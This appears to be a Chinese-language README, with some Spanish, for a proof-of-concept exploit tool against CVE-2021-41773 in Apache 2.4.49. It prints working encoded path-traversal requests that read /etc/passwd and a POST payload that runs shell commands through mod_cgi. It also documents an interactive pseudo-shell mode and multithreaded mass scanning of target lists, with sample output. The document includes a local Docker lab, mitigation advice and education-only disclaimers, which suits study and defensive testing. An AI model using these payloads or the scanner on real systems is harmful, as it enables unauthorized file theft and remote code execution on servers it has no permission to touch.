仅供在受控和自有环境中使用。未经授权不得用于攻击系统。
为演示和理解 Apache HTTP Server 2.4.49 中存在的 CVE-2021-41773 漏洞而开发的 PoC。
该缺陷位于 ap_normalize_path() 函数中,该函数未能正确验证 URL 编码字符。这允许攻击者通过编码字符序列(%2e%2e%2f 而非 ../)跳出 DocumentRoot,读取系统中的任意文件。
当 mod_cgi 模块启用时,该漏洞可升级为 RCE(远程代码执行),允许以 Apache 进程的权限直接在服务器上执行命令。
服务器必须满足所有以下条件才存在漏洞:
| 条件 | 详情 |
|---|---|
| Apache 版本 | 恰好为 2.4.49 |
| 访问指令 | 配置中为 Require all granted |
| CGI 模块 | mod_cgi 已启用(仅用于 RCE) |
Apache 2.4.49 会过滤经典的 ../,但不会过滤其 URL 编码版本。攻击者构造一条过滤器无法检测、但操作系统能正确解析的路径:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f 是 ../ 的 URL 编码。Apache 允许其通过,操作系统会解析它,结果就是访问 Web 目录之外的文件。
在 mod_cgi 启用的情况下,路径遍历被用来指向 /bin/sh 而不是某个文件。Apache 将其视为 CGI 脚本并执行它。命令通过 POST 的 body 以最小 shell 脚本的形式传输:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Content-Type: application/x-www-form-urlencoded
echo 'Content-Type: text/plain'; echo; id 2>&1
命令的输出会在 HTTP 响应中返回。
该仓库在 setup/ 中包含一个可直接复现该漏洞的环境:
cd setup
docker compose up -d
这会在 8080 端口启动 Apache 2.4.49,并采用易受攻击的配置(Require all granted + 启用 mod_cgi)。实验环境文件:
| 文件 | 描述 |
|---|---|
setup/docker-compose.yml | 包含 Apache 2.4.49 的容器 |
setup/httpd.conf | Apache 的易受攻击配置 |
所使用的配置文件位于 setup/ 中。
为什么用 urllib3 而不是 requests?
requests 会在发送前自动重新编码路径中的字符。
这会破坏 payload,因为服务器收到的是 %252e 而不是 %2e。
urllib3 允许在不修改的情况下发送路径。
为什么用 .%2e/ 而不是 %2e%2e/?
Apache 在 mod_rewrite 模块中过滤 %2e%2e/。
变体 .%2e/ 在语义上等价,但能通过过滤器,
因为路径规范化发生在验证之后。
mod_cgi 模块,RCE 模式才能生效。
没有它,只能进行路径遍历。python PoC_2021-41773.py --target <URL> --mode <modo> [opciones]
python PoC_2021-41773.py --input-file <archivo> --mode check [--threads N] [--output resultados.json]
| 参数 | 必需 | 描述 |
|---|---|---|
--target | 是* | 服务器基础 URL(例如:http://localhost:8080) |
--input-file / -iF | 是* | 包含目标列表的文件(每行一个) |
--mode | 是 | 操作模式(见下表) |
--cmd | 否 | 在 rce 模式下执行的命令(默认:id) |
--file | 否 | 在 traversal 模式下读取的文件(默认:/etc/passwd) |
--threads / -t | 否 | 用于批量扫描的线程数(默认:10,仅与 --input-file 一起使用) |
--output / -o | 否 | 将结果导出为 JSON(仅与 --input-file 一起使用) |
* --target 和 --input-file 互斥——使用其中之一。
| 模式 | 描述 |
|---|---|
check | 检查目标是否存在漏洞以及是否启用了 mod_cgi,不提取敏感数据 |
traversal | 通过路径遍历读取系统上的任意文件 |
rce | 通过 mod_cgi 在服务器上执行单条命令 |
shell | 用于连续执行 RCE 命令的交互式伪 shell |
# Verificar si el servidor es vulnerable
python PoC_2021-41773.py --target http://localhost:8080 --mode check
# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
# Leer un archivo específico
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal --file /etc/hosts
# Ejecutar un comando
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd whoami
# Abrir un pseudo-shell interactivo
python PoC_2021-41773.py --target http://localhost:8080 --mode shell
# Escaneo masivo con exportación a JSON
python PoC_2021-41773.py -iF targets.txt --mode check -t 20 -o results.json
───────────────────────────────────────────────────────
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos y profesionales
───────────────────────────────────────────────────────
[*] Modo: Check de vulnerabilidad
[*] Objetivo: http://localhost:8080
[*] Probando traversal contra /etc/hostname...
[*] Header Server: Apache/2.4.49 (Unix)
[+] VULNERABLE — el servidor devolvió /etc/hostname
Hostname: e0d20311f3e6
[+] mod_cgi habilitado — RCE posible
[+] Modo: Path Traversal
[*] Objetivo: http://localhost:8080
[*] Archivo: /etc/passwd
[*] URL: http://localhost:8080/traversal/.%2e/.%2e/.%2e/.%2e/etc/passwd
[*] Enviando request...
[+] Servidor vulnerable — Status 200
──────────────────────────────────────────────────
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
──────────────────────────────────────────────────
[+] Modo: RCE via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Comando: whoami
[*] Enviando request...
[+] RCE confirmado
──────────────────────────────────────────────────
daemon
──────────────────────────────────────────────────
[+] Modo: Shell interactivo via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Verificando RCE...
[+] RCE confirmado — uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] Escribí 'exit' o 'quit' para salir.
apache> id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
apache> ls /
bin boot dev etc home lib lib64 ...
apache> exit
[*] Cerrando shell.
[*] Cargados 5 targets
[*] Threads: 5
[*] Iniciando escaneo...
[1/5] [+] http://10.0.0.1:8080 — VULNERABLE (RCE)
[2/5] [-] http://10.0.0.2:8080 — no vulnerable
[3/5] [!] http://10.0.0.3:9999 — error de conexión
[4/5] [+] http://10.0.0.4:8080 — VULNERABLE (solo traversal)
[5/5] [!] http://10.0.0.5:1234 — error de conexión
══════════════════════════════════════════════════
Resultados: 5 targets escaneados
Vulnerables: 2 (1 con RCE)
No vulnerables: 1
Errores: 2
Exportado a: results.json
══════════════════════════════════════════════════
该 JSON 文件包含扫描元数据以及一个结果数组,每个目标包含 target、status、server、hostname 和 rce。
2.4.51 或更高版本。Require all denied 配置为默认值。mod_cgi。⚠️ 本仓库仅用于教育目的。
未经明确授权对系统使用此漏洞利用程序是违法的。
仅在受控的本地环境中进行过测试。
为进攻性安全作品集的教育目的而开发的 PoC。